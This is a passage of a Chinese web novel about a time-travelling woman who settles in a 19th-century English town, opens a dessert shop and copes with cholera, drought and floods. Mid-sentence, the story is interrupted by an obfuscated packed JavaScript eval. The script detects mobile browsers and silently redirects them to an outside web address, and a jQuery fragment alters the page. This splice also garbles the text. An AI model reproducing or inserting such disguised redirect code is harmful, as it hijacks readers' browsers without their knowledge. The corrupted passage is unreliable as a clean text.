苏茜一身巴黎中等偏下人家的长途旅行服饰,提着一个箱子一个手袋,短靴棉裙外穿了带帽羊毛长斗篷,抵挡初春季节里的湿冷海风。不是特别大的,姑且说是货船,在海浪里颠簸了五个多小时才到英国的补给港口,扛着箱子步行两个多小时才到多佛,租到了一辆去伦敦码头的马车,货运马车。
真是糟心!
更糟心的是天气,整个城市灰蒙蒙、雾沉沉,还有一股不是很好闻的味道,估计同时来自于河水和空气。有意思的是,这里不查护照和身份文件什么的,只有本国男性商人到殖民地去才有护照,实际用处是自由贸易通行证明;官员、军人、传教士等则是另一套。这个商人贵族之国只关心货物和钱。
或者说,前任皇帝陛下过世——她记得其实那位是被毒死的——大家都松了口气,更无人关注一个法兰西“中年”寡妇。
不过,这个伦敦,好像,仿佛,不是很有活力的样子。她对这个时代的英格兰真心不熟,所以只是找旅店,吃个饭,买些成衣帽子鞋子布料伞之类还有当季新书,将其实是空的箱子填满。似乎这个年代,奥斯汀女士已经过世了,那么自己也不需要买正版书支持作者,不如支持下别的女作家好了。另外就是,要去银行兑换英镑。
金本位从这时候就开始了啊!
苏茜都忘记自己在什么时候学过,当时只是知道个大概,从实用的角度来看完全不需要了解太多,因为学的时候金本位、银本位已经永远成为历史。
正好,她的皮斯托尔纯度跟这个英镑很相配呢。看她当年“配制”的金币比例多正确!绝不是自己技术不好。
她先问英格兰银行附近营业部的值班经理要了一批意向地点的分行地址,对方意识到这位客户会有别的业务,还介绍了投资理财、公债买卖、存款、保险柜等等业务。地址让她决定将未来十年左右的生活费都兑换成英镑吃利息,然后又买了一些利率为三个点的无期公债。买公债不是理财的好选择,但作为一个法籍移民,这是种态度,何况数量不多——在她看来不多。
至于一些这个时代版本的金法郎,就都收藏起来吧,硬币比纸钞容易保存多了,几乎永远不会成为垃圾。
“这几年回来的人又多起来了呢!”值班经理忍不住嘀咕道。他根本不考虑那位女士是真外国人的可能,因为她的口音是非常纯正的伦敦音,有些用词还很南岸那边的习惯,一点欧洲口音也没有。很可能是嫁到欧洲又回国的人士。
“可不是,之前是那一位的原因,不知道现在又是什么原因。”
“报纸上不是说开始教士统治了吗?不仅要清算那位在位时候的事,还要限制言论。”
“我倒是觉得那边的教会推广基础教育也是不错的,谁让那里的农民都是文盲呢。不能只看一个浪漫的巴黎就说他们是个浪漫的国家。”
“我一点不觉得巴黎有多浪漫。你忘记多少人被砍头了吗?”
“嘿,我听说被砍头的那位皇后喜欢男人也喜欢女人?还搞后门什么的……”
英国的八卦小报是全世界造谣小报的鼻祖,而且领风骚二百年从来没有将第一的位置让给对岸的好莱坞,最主要就是这里八卦的市场大啊!不管是生意还是八卦,英国人一向认真对待。
“女士,车子到了。”将一套还算好的衣服交给服务生解决清洗晾干问题,然后对方热心地介绍了不少,包括去威郡的车夫和行李箱包与床品餐具之类的购买地点,最后还殷勤地帮她提着更沉重的一个箱子一个袋子上车,而苏茜则只有手袋和另一个比较轻的小箱子。
苏茜住了一周,前后总共给了三先令小费,在这个非市区的小旅店算是挺大方的金额。伦敦市区和这种边缘地带,租金、消费以及治安,都是差别巨大。唯一的好处是劫匪喜欢将之前的收获带在身上,这一点让苏茜尤其满意。
她最讨厌穷困饥饿的劫匪,会让人下手时产生犹豫的情绪,甚至不知道该不该给他们留几个土豆……
这次的马车车况好得多,因为是载人的,座位舒服多了,途中歇脚吃喝拉撒的地方安排也很合理。就是目的地,怎么说呢,完全不是苏茜想象中的田园。
“那地方都没有桥,过河都是淌过去的,只有地下市场因为免税挺繁荣。但是吧,听说土地拥有者的后代本来打算建庄园的,可钱不够,搞不好要卖掉。所以家家户户都是过一天算一天。”
“外人最好别去那里,你知道的,税务官会把你的每一个便士都掰扯得有利于他们的。”
旅馆老板娘对周边百英里以内的村镇都挺熟悉的。得知她过来想找个“优美清静”的地方定居,给了很多良心建议。老板娘这么健谈的主要原因是苏茜连续住一个月而且包每天一先令的早餐以及咖啡跟热水——茶叶和泡茶水苏茜自备,唯一额外要求是更换干净的毛巾和床品。至于出门的小马车是找老板娘的娘家兄弟另外租的。
“您为什么不定居在城里?多方便啊!”虽然这个城跟伦敦不是一个等级的,但因为古老的大学和集市而很有品味。
“城里人太多,也太爱打听。而且房子比镇上的贵多了。我又不想再嫁,不需要在城里社交。”最重要的是她喝到的牛奶是掺水的,面包用的面粉肯定加了非粮食。连咖啡都是她直接要了咖啡粉自己煮的,因为用的水有一股工业品的味道。
“也是。”车夫自己就是住在郊区家里,因为城里太贵了,别说马厩,连一个房间他都租不起,而跟人合住一间房间又有可能被偷,有时不能回家时他都是窝在马厩门边的。
但真的到了她之前指名的镇子之一——前三个都因为产权问题被老板娘否了——面对没有树木的河岸、颜色诡异的河水与垃圾遍地的联排屋子,她愣了半天,只得和车夫找了镇上一家餐馆兼面包房对付了一顿饭就走了。顺便说一句,这顿午餐有够糟糕的。一百多年后的美丽小镇与一百多年前的污染之地完全是两回事。
又跑了一个地点,得知这是一位贵族的庄园。
自此,苏茜划定的地名全部被毙。
还是去看看老板娘和车夫推荐的地方吧!本地人总归更了解“现”状的。
22.国王亦凡人(三)
这是最好的时代,这是最坏的时代。
写下这句名言的狄更斯现在还没开始出名。
“罗西诺太太,”赛镇唯二的律师之一为苏茜办好购房手续。“您在这里和这里签字就行。”
赛镇是少数没有被纺织业和其他工业污染了水源的镇子,确切的说这里接近水源地,有山有水可惜水量较小,做不了磨坊以及其他需要大量水的产业,农业也不太行。但这里靠着历史悠久和仍然保有不错的自然树林而有不少人来旅行或消暑度假,享受安静的环境和清新的空气。镇子没有大贵族,附近也没有值得称道的豪华庄园,周围倒是有很多中小乡绅。整体上,商品不算时髦,教堂太过朴素,餐馆味道单一。
“她花了多少钱买的东边那套小三层?”本地一位乡绅作为见证人忍不住问。
“总共三百二十镑,都是英格兰银行的票据。”包括律师佣金和公证费。“我还知道她有一千镑公债,银行里具体多少钱我不知道,但看她今天这身不会超过十镑,我估计她的所有财产加起来有六千到八千。”
“确实,再嫁有点难。”年收入不超过一百镑的年轻保守寡妇,身家气质和教育水平算是位淑女,但真没什么钱。最重要的是他还收不到多少捐税,哪怕是自愿什一税也就三五个索维林金币的样子。
苏茜并不知道这两位先生猜测她的身家,某种程度上比较准确,自己当时也就是兑换了七千多英镑和五十金币,不过这是她十年的生活费。至于说全部身家,她也不知道有多少,尤其知识是无价的。哦,也不算是,因为她的大部分“收藏品”和知识储备与这个时代无关。而且她即使知道现代的一些药物制作土法,在这个没有厕纸的地方……还是算了。
除了会搞点土肥种点东西做点吃的,她什么谋生技能都不会。最多不需要考虑收入和安全问题,也算是能耐了。至于绘画之类,大概她画出来后也就卖个颜料钱。其他的例如工商业,忘记她是外国女性了吗?这个时代她连小农庄都没法买,更不要说办工厂了!
倒是,甜点店可以在自家一楼开一个。这个年代开甜点店并不需要执照和卫生许可,小镇子上也没有索.贿的卫生监督员什么的,估计也就是交个税?
新房子是二层加阁楼,窗户偏大但只有六扇,门廊和外墙都爬有藤类植物。阁楼是落满灰尘的杂物间,二楼的两个套房前几年曾出租过,还保留了些老旧家具和一个斑驳的盥洗室,壁炉是黑色的,烟囱的情况好不到哪去。一楼的情况比二楼更糟一些,卧房全部是灰,厨房炉子可能已经坏了,起居室堆了些垃圾。窗玻璃都坏了。房子周边一圈有几棵橡树、松树和一些芍药之类,其他都是杂草。
苏茜就住在镇上唯一一间旅馆里,直接付了一个月的房租兼三餐加洗衣和热水。那房子光打扫和清理就费了旅馆服务生家里全部人口两周的时间,报酬是房子里所有的旧家具和布料甚至芍药花,但不包括树。
“我要快速简单款,用你手头有的木料给一些居住必需品。床,柜子,椅子,桌子。不要雕花,不要任何装饰,只要结实耐用,不要十年不到就散架……哦,松木也可以,但不要做松木柜子,那容易变形……另外还要做几张高低桌子……这些设计款的明年交货都可以,不急用,但质量一定要保证。”
她打算仿照之前巴黎的平民甜点面包店格局再缩小简化,只在门廊入口的地方放上高低桌子,再请个清洁女仆兼店员了事。另外就是给自己的木屋换张收纳床和桌椅,这个倒是要好木头,亚洲来的一种有着特殊纹路的高级硬木很适合呢。
镇上有两家木匠店。一家走高大上风格,另一家比较实惠,所以苏茜选了后一个。她在镇上的人设就是保守小康,不想再嫁,连服装都是灰色系,除非必要不出门——她每天要保证四到六小时修炼和练武,免得被这个时代的庸医和假药荼毒,没空出门交际。就是很多八卦听不到,略可惜。
当然,她知道自己也是别人嘴里的八卦话题。
“哦,她除了不吃气味奇怪的以及肥肉,其他都吃,从不挑食,喜欢蔬菜胜过肉。”
主要是这里肉菜做得太难吃,她不得不又额外平均每天一个多小时在给自己搞食物上面。
“她做的衣服都是,嗯,比较老气,不要装饰和漂亮的颜色,但是要好料子,真不像个法国人。全棉,全毛,特别还对棉毛混纺、新出来的毛衣和进口山羊绒很捧场,就是谁见过一口气买三条花纹类似的羊绒披肩?!更别说三条两个金币的价格,一摸居然就立刻买了。所以我不相信她是个穷人的话。”
“不是说了她应该是嫁到法国的英国人嘛。而且她是新教徒,跟那边的教士氛围格格不入。”
“就是钱不算多。”帽子买了五顶却都是基础便宜款。
“有人来打听她有多少嫁妆,不过我看她的意志很坚定,所以就说不会太多。”英籍男人结婚,第一是钱,第二还是钱,第三依旧是钱。
“我猜超过五千。但每年的生活费不高。”
“低于这个数不可能买房子,虽然那栋房子死过人。”
如果苏茜听到这些话能把白眼翻到天上去。羊绒啊,无杂质顶级格子羊绒啊!真想五种颜色每样来两条。另外,她可以是无神论者,也可以是任何一种宗教除了邪.教的教徒,纯粹按需,还能随时切换经文语种,包括但不限于拉、希、阿和梵语,连婆罗门舞和娜迦舞都会一点哦。至于凶宅之类,放心,她很凶的。
* * *
“看在价格的份上,我不介意死过人,而且我是亲眼见过被盗匪杀死的人的,而且扔在野外死了好几天!你可以想象那场景和……气味。又不是地窖或花园里堆了尸骨,完全称不上凶宅。”苏茜毫无芥蒂地跟男店主聊凶宅的定义。“闹鬼只可能是意外或是有活人故意吓唬人,人死后灵魂不可能留在原地,更不可能影响阳世的人。我觉得遇到装神弄鬼的人直接一剑刺上去就行了,如果要保险起见就把剑放在教堂里一段时间再用。”
“啊……真是……很好的见解。”本来想推销一堆银制“圣物”的店主已经被说愣了。死了好几天的气味是什么鬼?他想吐!
“对了,我打算卖自己做的甜点,需要多一些装饰陶盘,不要彩陶,另外还需要包装盒。”彩色的陶瓷,闪亮的金银,都是餐具拒绝往来户。“还有这几种刀具,我都要了。”
苏茜在镇上大部分店铺和商人那里下了订单,顺便宣传了一把自己打算开的店——镇上还真没有专门的甜品店。一边清洁一边准备不交玻璃税的百叶窗和窗帘床单毯子木炭等等……还有最关键的是找对食品供应商,贵的没问题,但不能有任何非食材和生水。
以及如何处理房子周围那一圈土地。
“我要自己种树,所以如果可能,请帮我买两打橡树或杉树苗,直接移栽十棵超过八英尺的最好。”她给了一个金币作为“采购”和劳务费,明示他们去挖些树而不是太小的树苗来。
不久之后,罗西诺太太在镇上一下子成了抠门的代名词。为了省钱在花园里种树?为了赚钱在自家卖甜点?真是……呃,不知道甜点甜不甜……镇上面包坊表示,他们产品的销售对象是佃农和小工及其家属,因为面包师和服务生本身就是兼职女仆。餐厅和咖啡馆则完全无所谓,大家的路子是不一样的,一个堂食一个外带。
苏茜则在奋笔疾书。房间里有蜡烛和煤油灯还不限量,但是这个光线实在不适合写字。岛上因为没有汽油而没有电,所以她都是趁着白天光线好的时候写下菜谱和点心方子,以及采购单,光线不好的时候则做别的。
比如面试和培养服务生。
镇上有经验的服务生不少,可雇佣的基本没有。所以苏茜是从佃农家次女这样的身份中挑选的,勤快肯学习,零基础也无所谓。文字水平只要懂字母和商品名称,算术只要会加减法而不需要方程式,教育的难度并不高。
最终她选了两名女仆,一位奥内拉帮家里卖过菜而且会算钱的数目,另一位佛莉会做面包和炖肉。前者订婚后差点结婚,结果未婚夫跟人跑了自己成了笑话被家里嫌弃,后者是个没有孩子还在服丧的寡妇,于是一楼的一间卧室就给她们两个留着了。
哦,还有厕所的问题!那可是在房子后方的。房子小巧,但有前后门,可惜由于见鬼的税收问题,整栋房子窗户只有三个、壁炉只有两个、烟囱也只有一个。烧炉子的厨房也是在后院搭的。所以苏茜建了一条木地板木棚顶的走廊,将前后门和厨房厕所连起来,而不需要在下雨天踩着烂泥地倒便盆便壶或是去大号。
“还好一楼那间房间有壁炉,不然冬天会有些难过。”对应的另一个壁炉是楼上的小起居室,布局挺见鬼的。好在苏茜并不需要卧室里放炉子或壁炉。
房子的清理修补花的时间不长,尤其是周围不少人都有“庞大”的家族亲友。比如佛莉娘家六口人养马驾车很在行,其中最大的侄子刚结婚正在到处打零工,想给自己妻子和未来的孩子再造间屋子,免得那么多口人挤在两间半屋子里。所以她家大侄子是很好的兼职马车夫的人选,而跑腿打听乃至清洁炉子烟囱厕所等的活计可以找她家小一些的侄子侄女,一先令加一块没有沙子的面包足以让一个十三岁的孩子高高兴兴地干一整天的活——这可比在矿上或工厂做童工里安全多了。
十棵移栽的橡树不仅平均高度近十英尺,而且种得很好,一个多月没枯死,绝对可以在冬天的时候烧了用。所以苏茜还多给了十先令的报酬,对方简直高兴死了。他们就是费了点力气,从公共林子“搬”了些不值钱的未成材树过来。能做战舰的橡树得百年、六七十英尺的那种大树,这类不到三年的树其实仍属于树苗阶段。
苏茜也没有任何惋惜。等这些树成材早就是港铁战舰的世界,潜艇都开始出现了吧。嗯,而且她可能已经在下一个世界了。就是不知道是什么样的世界?但愿能有卫生巾……不过现在的棉花总比山村里的苔藓好用些。这个世界无法修炼斩赤龙,除了强身炼体啥也修不出来,唯一有用的是岛上极稀薄的灵气对健康的加成,她的修炼就是对灵气的吸收利用。
“……按你的要求,厨房我们换成两个烧煤的双火口铁炉,两个烤炉都是用传统的烧木头的炉子。”木头和木炭的价格居高不下,导致大家现在都开始种树了,尤其是有庄园的人士,而穷人基本上就是硬扛湿冷的冬天。所以这位刚从法国回来,经济状况一般的罗西诺太太在自家花园里种树也是可以理解的。
“谢谢!我很满意。”苏茜爽快地付了尾款加上提前一周收工的小费。这个卖假货成性时代的建筑商居然很靠谱,不管是门窗地板还是走廊炉灶以及按照她要求做了改造的厕所,也许跟他们做周围小镇的生意必须靠口碑过日子有关。
整个房子非常不豪华,自然光很差、湿气也重,但软装和家具颜色轻快,加上门保持敞开,屋子里白天都有煤油灯照明,整体感觉比较舒服,如果再加上甜美的食物香气就太棒了。一屋子的女子,连未来的顾客大部分都是有几个闲便士的女客,就得按女性的生活习惯来。以后到了冬天,窗下还会放个取暖兼热茶水的煤炉,炉子上有铁管通过窗外去掉大部分烟气。
在了解了些以前、现在的税制之后,苏茜发现居然没有房产税,却有各种奇葩的砖头窗户烟囱玻璃引来时不时的抗议。而所得税,则是根据战争进展从一镑两先令到六便士之间横跳。
现在是六便士,明年及以后都不好说。
税务官可能是平生第一次“接待”了一位热心交税的女士,他请苏茜喝了杯茶花了一个小时的时间讲解了目前的税收,然后高高兴兴地收下她的“试吃品”,一个外表有着裂纹和轻微的香气,打开后是满满的面粉、奶酪、坚果和葡萄干的面包,闻起来还有蜂蜜的甜味。
“我的午饭有着落了!”他觉得自己完全不需要再去吃每次都能吃到一到三小块蛋壳的煎蛋套餐。这块面包重量近一磅,他觉得自己中午会吃撑。
事实上镇上的这位中年税务官午后坐在椅子上撑得站不起来,却仍然还剩下四分之一的面包。“这位太太以后的生意肯定很好。”只要这样的面包别超过一先令,他是会去买来与妻子一起当早餐吃的。
事实上这样一块可以让两个胃口不太大的人吃一顿早餐的面包,售价是十便士。
奥内拉和佛莉简直爱死了这款面包。
因为需要展示“内容物”的关系,所以柜台上每天都有小半个面包做展示,其他的苏茜给她们当十点开店前那顿“早餐”的主食。由于目前仍然禁止外国粮食进口,她买不到大米——也不知道现在这样的炉子和锅要怎么煮米饭。
苏茜拒绝乳猪以外的膻腥猪肉进入她的厨房,不过牛羊鱼鸡鸭鹅等等来者不拒,尤其是鱼都是去鳞去内脏后腌制至少半小时,所以他们早餐倒是比较“简单”,就是面包、沙拉和加了牛奶的咖啡。牛奶得煮开过的,而不是直接喝。
两个女仆这辈子都没有吃得如此“讲究”过。
奥内拉跟供货商闲聊的时候,讲了下在将食物吃进嘴里前需要多少道工序,“……我们家太太真不愧是巴黎回来的,虽然她服装很简朴,从来不戴首饰,但一锅三个人吃的土豆炖牛肉里加九种本地和进口的香料,还加上葡萄酒是十种。哦,牛肉要切成块,先煮或者煎一下再小火炖一个下午。对了,吃完东西,尤其是带甜味的东西,一定要用浓茶漱口,你知道的,那种不加任何调味、有点苦涩的红茶,要漱口数到四十才吐掉。太太说这样就会不会牙疼。”还有用开水煮过的细丝线清洁牙缝,用干花薄荷煮的水清新口气等等,这就不跟男人们说了。女仆也是女人,也爱漂亮的好不好。如果结婚了就可能失去美好的饮食、温暖的房间、整洁的新衣和充裕的零花,那她宁愿一直单身跟着女主人!
“我们的手一直是保持干净的,在接触食物之前都会用肥皂洗手,每天睡觉前抹上一些油脂,这样保持双手的柔软,就可以更好地感受食材的细微变化。”佛莉展示着自己的双手。她是店里的厨师助手,可没空做粗活。她的衣服床品也都是由雇主统一交给洗衣女工。“我们都不用酵母纸粉,而是用苹果或其他水果、麦粉之类发酵,获得不同口感的发酵液,从而制作出不同风味的好吃食物。”
顾客被类似外形但材料做法都不一样的千层酥迷花了眼,连麦粉发酵都有那么多讲究啊?这就是放在巴黎根本上不了台面的甜点面包!伦敦也就这样了吧?于是这位被说晕了的女客人带着满满登登四个盒子的甜点外加两包“赠品”茶叶走,满脑袋居然是吃完甜点如何漱口以保持牙齿不生病——她居然知道了牙疼的“原理”了呢,不管是不是真的,反正听上去挺像回事的。
在“短短”一月之内,苏茜的“街角甜点铺”就成了镇上的知名新品牌。每周大概能卖出五六十镑左右的面包、甜点和茶叶,去掉三个人消耗的食材成本、所得税、教会捐以及房子的奇葩税收,到年底时的盈余可以让大家都做了一身新冬装,并且买
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027553|193506||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到足够多的煤、木炭和木头。
但再多的就没有了。
“我们太太过得实在太简朴了,她的收入都花在咖啡和洗衣清洁费还有我们的一部分工资,这家店赚的钱只够我们三个吃饭和洗手,包括我和奥内拉服装。当然,我们三餐跟下午茶相当不错,当天卖不掉的我们都会自己吃掉。”佛莉跟邻居家的女仆聊天时一点不在意多“透露”一点。她和奥内拉连自己的家务都不需要做的事情就用不着多说引来别人的嫉妒了。奥内拉也是如此,只说自家太太喜欢喝来自中国的茶,但是每年只添置一顶帽子、两条裙子和一件外套,全部是基础款好料子但不贵的类型。
总体上,苏茜在镇子上的名声还算可以,让人诟病嘲讽的主要就是太抠门、不爱交际还蠢得主动去交税——镇上的税务官倒是一直说她的好话,可这位本身就是最讨人厌的家伙没有之一。可少有人说她卖的东西不好或过分贵的。
“罗西诺太太,后天的蛋糕我要带去姨妈家,所以可以上午早一点,比如说九点的时候来取吗?”
“当然可以,米拉德太太。你敲门就可以了。”
“那太感谢了。”能在乡下订购到“纯正”的法式时髦甜点,这在过去是不可想象的。
“没事。”为了一个金币的“大买卖”,她们可以早起些做蛋糕装饰。
最后米拉德太太得到了一个让她眼睛发晕的“大”蛋糕,恨不能装病把这样的漂亮的食物带回家自己吃。而苏茜则在计算二战结束没几年售价六十港币的十寸蛋糕是不是还要整点金箔什么的,所以她这个蛋糕上加的装饰很大方,都是纯动物奶油、无添加蜂蜜、罐头水果、巧克力和果酱,还有一个麦芽糖浆倒入模具做的小王冠状装饰。
“今天的甜点真好看!”十四五岁的少女望着一堆样式各异的曲奇和小点心眼睛有些发直,跟姐妹买走了十几先令含有麦芽糖浆的小饼干、小面包、小蛋糕,将女仆和车夫的四只手全部挂满。嗯,她们还顺便上了个厕所并表示条件不错。
佛莉不厌其烦地介绍如何甜点后漱口避免去城里找牙医。最后店里的进口中国纯茶叶也卖掉两罐——镇上的茶叶店没有的品种,价格比调味茶还贵,但苏茜强调的是对牙齿好而不是口感好。她刻意与其他店铺错位经营,保证没有竞争,包括土耳其风格玻璃花茶杯。
还真有女士为了烘干被雨雪打湿的鞋子而来店里,喝一杯试饮茶,在黄铜木炭脚炉边暖和下有些冻僵的脚,或是踩着干燥的走廊去温暖清新而不是阴冷发臭的厕所里解决点问题,最后不好意思地带走一盒点心或茶叶。
而苏茜终于买到了半发酵岩茶和普洱茶,激动地租马车去代理商在伦敦郊外仓库,将所有存货都买空,还让代理商继续进货。
虽然没有菊花茶,但是她有玫瑰干花啊!别的加奶加盐加糖加酒加水果加草药加香料的茶叶配合小甜点那是妥妥的增肥,但普洱和岩茶能让人在胃里没什么食物的时候饿得发慌,是妥妥的清洁口腔和消脂茶。
“……这个喝了是会觉得饿。”一个被束身衣勒得腰身极细的姑娘已经饿习惯了,居然被一杯茶给激发出难得的饥饿感,还是一定要吃东西的那种感觉。于是她买了一块苏茜亲自推荐的“不容易发胖”的甜点,不够甜的口感在茶水的微苦和饥饿的冲击下根本微不足道,几口就能吃完的绵软巧克力蛋糕很快抚平了变形的胃部的叫嚣,最重要的是“区区”四便士的价格对乡绅的女儿来说还是负担得起的。“再来一个这种蛋糕,还要一包我刚才喝的茶,谢谢。”
一包茶叶加干花不到40克,单价就是成本,苏茜基本不赚钱,所以两个便士谁都能消费得起。可一包也就泡两壶茶,这样算就不太廉价了。
这个年代似乎还没有到连睡觉时都要束身的疯狂,亦或许镇上与伦敦这样的地方不一样,细腰女士的比例明显比巴黎富人区的少。
“你们这里真暖和。”
“你可以试一下生姜黑糖红茶,驱寒的。”
“谢谢!”
这几天不认识的客人不少,说明附近可能有庄园在搞不限阶层的聚会活动什么的,来的客人也是从坐着豪华大马车毫不手软地花掉两个金币买甜点,到一身狼狈买两便士的茶包要考虑半天——出于错位经营,她的店里没有一便士一个的硬面包,也没有一克朗一个的酒布丁。
“一包茶也太少了,有大包装吗?。”
“有的,女士,这种茶是一克朗一大包。玫瑰干花是六先令一大包……”
比伦敦还便宜?!赶紧下手!
客人买了好几种茶叶和花茶,高高兴兴走了。
奥内拉也很高兴,相当于得到两便士的小费。店里所有的生意她们两名女仆可以平分百分之五的奖金,即使是赠品或打折品也按原价计算,可以说是她们的额外小费,也因此两个女仆一有空就跑出来推销,对口味的改进完善更新也极为热衷,因为耗损归苏茜、收入她们却有份——这种事她们可不会对房子以外的任何人多嘴,只提女仆工资、制服、住宿以及好吃好喝,充其量有个别年轻女仆认为她们被食物拿捏而放弃“大好前程”。
这个冬天,苏茜没有砍自家的树。附近有出售壁炉用橡木和木炭的庄园,她不会在晚上去偷砍公共林子里的树,还会响应镇上的号召,出钱买来不到四英尺的小树苗种在公共空地上——等它们长到七英尺以上再被穷人偷砍掉。
从搬到自己的房子开始,苏茜会每两天让佛莉的侄子驾车去河水更上游的地方打水回来作为吃食用水,而且做食物泡茶水之前都要先煮开。还有她喜欢在新麦上市的时候大量囤积到下一批粮食上市才全部捐掉——大家认为这是经历过饥荒年代的习惯。只有她才知道,她不想用公共水井里的水。
“谢天谢地,这里的河水一点不臭。”
“亲爱的,这里没有工厂,也没有太多的人口往河里倒粪便。”
在还算是有点景致可言的河畔散步的一对夫妇也就走了一段路,就被湿冷的空气和细雨逼回室内。
苏茜穿着长长的披风式雨衣和皮靴、打着油布伞,与同样打扮的奥内拉去“考察”一处水源和一户蔬菜园。
“麦克说这块水塘的水特别清澈,可以直接喝。所以园子主人用这水来浇灌的蔬菜特别好。”
“沙砾过滤层。”苏茜点点头。
直接去菜园下长期单。
“对,特别是这几种菜,多一些好了,我会用来给甜点染色。”菠菜、紫甘蓝、姜黄等等有着浓郁颜色的蔬菜,跟玫瑰茄等都是苏茜喜欢用的天然色素。她做了决定下了订单,以后就是园主的仆从跟奥内拉的事情。
穿着雨帽雨衣冒着冬雨驾马车载着苏茜回家的麦克,也就是佛莉的大侄子,得到了黑糖姜茶和牛肉末土豆泥生菜三明治。生菜是开水煮过的。
“老杰家的那位亲戚现在病得快不行了。医生说是霍乱,现在伦敦病死不少人。”很早之前许多人死于腹泻,但现在居然还那么可怕就有些匪夷所思了。
“有可能是吃了不洁的食物,尤其是没有煮开的肮脏水。”苏茜皱眉。霍乱,现在可没什么有效的药可以吃——一百年后她在医院里工作的时候也没有。“麦克,记住,别吃生水,更不要生吃蔬菜,蔬菜没有煮过同样可能沾上不洁的东西导致生病。要知道,霍乱病人的粪便也是直接倾倒掉的,万一直接吃喝了也会得病的。”
兼职车夫与女仆们表情扭曲。病人的便便……吃喝进自己肚子……呕……
23.国王亦凡人(四)
霍乱终究没有在镇上蔓延。这里的水源上游没有工厂,人家也少。而且苏茜还自己用木桶、粗细沙砾以及磨碎煮晒过的木炭做了两个简易过滤水装置,将上游打来的水倒进去慢慢过滤后才用。一个月更换一次。
但“主流”观点仍然是伦敦糟糕的空气导致霍乱流行,包括市政厅。可惜在水公司也这样宣传之后,人们的开始相信持不同观点的斯诺医生的观点:个别公共水井受到了污染,导致很多人染上霍乱。理由是既然市政跟私人公司讲的话一样,那也许就是件有待商榷的事情——多数记者也开始怀疑、反思、寻找真相,而霍乱的死亡人数开始被大规模“发掘真相”式地拼出五位数,远高于市政说的“区区”几百人,就是各种说法都有就让人挺无语的。幸好现在不是中世纪,不然可能会有一堆女性被冠上女巫之名,历经折磨后被活活烧死。
看来,大家对“官.方”发言持谨慎保留态度的历史很长,有几百年的那种。
“这只猫真能干。”佛莉对养了四个月的花猫的捕鼠能力十分赞赏,喂给它一整条水煮过的鱼。
猫咪摇了下尾巴,开心地吃鱼,看起来很乖巧的样子。
“很多疾病都是通过老鼠传播的,包括历史上著名的黑死病。所以,能抓老鼠的都是好猫。当心,不要在猫吃东西的碰他们,他们可能会以为你要抢食物而伤人。”苏茜也很满意。没有宠物医院,不能打疫苗和驱虫,这个时代的猫和狗并不是多好的宠物。她养猫可不是为了撸猫,而是抓老鼠。
“我知道猫的习性。我兄弟被猫抓伤过,其实他只是想给猫添点食物。”佛莉连连点头。
“还好不是被猫咬到。”没有狂犬疫苗的时代,必须小心啊。
天气渐渐暖和,镇上几个伤寒病人死了一个,其他人活了下来。大家纷纷去教堂感谢。
还好伤寒没那么容易传染。
不过出于健康考虑,苏茜在人多的公共场合向来是戴着有遮到鼻子的薄纱的基础款窄檐帽子,人多的聚会场合基本不会出现,加上虽然不是黑色可也是暗淡沉默的简朴服装,与她不喜交际、不太富有的寡妇人设非常符合,真是浪费了上佳的口音。
这种几乎每天下雨、经常下大雨的天气却不是很正常——在她的亚热带小岛上很正常,这里就不太对了。
果然,没多久,就晴了,而且一直晴——始终不下雨的那种。
“天哪,我们这儿也会有旱灾吗?!”一名庄园主简直快疯了。他每年的收入有一半靠农产品,现在不得不发动所有的人手保证灌溉水。
“再下去河水干涸了怎么办?!”另一位同样有田产的夫人捂脸。流过镇上的河水水位明显下降,几口公共和私人水井的水位也下降了。
苏茜不知道该说什么。她要如何将岛上的水偷渡到现实里?也就是不再在房子里泡澡,光这一项就能节约她们每天额外洗衣服用的水,毕竟现在天气热得有些不正常,一天下来衣服就会有异味,不可能堆在那里等洗衣女工每周两次上门取、送衣服。而且她们怀疑洗衣那边同样碰到水的问题。
“我总觉得那边送来的衣服不够干净。”
“我们自己再用过滤水漂洗一下,晾在阁楼的阳光角。”苏茜在修房子的时候特意在阁楼开了个门——不是床,是门,确切的说是门洞,外面是种着花的假阳台,让楼下的外人看不到一个黑洞洞的“门口”,天气晴暖的时候她们可以在门边喝茶晒太阳,以及晾晒总有种霉味的衣物。苏茜称之为“阳光角”,并且为此多每年得多交一先令的税。谁让这栋房子没有露台呢。
如果按照她所习惯的房产税,这栋房子按照周边的“估算”价要比她的实际买入价略高,再来几个点的税率和会计师律师费等等,跟她现在每年交三英镑左右的房屋相关税相差不大——就是名目怎么看怎么扯淡。
好在,河水没有断流之前,开始恢复了些降雨,最可怕的是雨水越来越多。佃农们甚至土地的主人都在拼命抢收,但少数收获仍然淹没在水里。
“……我们买的那种已经涨到七十五先令了……我们要不要涨价?”
“不,真正影响成本的是奶酪、糖和蜂蜜这些。而硬面包是不少不那么宽裕的人的口粮,涨价的话他们会绝望的。”终于买到绿茶的苏茜心情很好地维持原价,在面包坊涨价的时候还增加了三便士面包的面粉含量。
连佛莉都忍不住经常自掏腰包买这种便宜大块又质量上乘的面包让侄子带回家,她最清楚店里用的面粉有多好,也明白三便士的售价让雇主分文不赚——即使这种面包用的面粉是陈粮,但在一点不减量油、蛋和乳制品的加持下,普通人是吃不出口感区别的。
面包坊对此一点意见也没有。这种陈粮面包对家里浸水的穷人而言还是太贵。
“我们镇已经算好的了,下游很多街道必须划船,有些一层楼的窗户都在水面下,不少人睡在房顶好几天才能下来打扫屋子。”低洼地带的内涝是每个城市都会出现的情况,可就是因为若干年才出现一次,绝大多数人根本就没有准备而损失惨重。
“我亲戚家的农庄全毁了。今年别说收入,还得倒贴佃农的面包,不然明年就没人种地了。”
旱灾连续水灾,接下来就是各种传染病了。亏得这片土地暂时没有战争。反正她活着的时候不会被轰.炸或是被栽赃砍头就行。
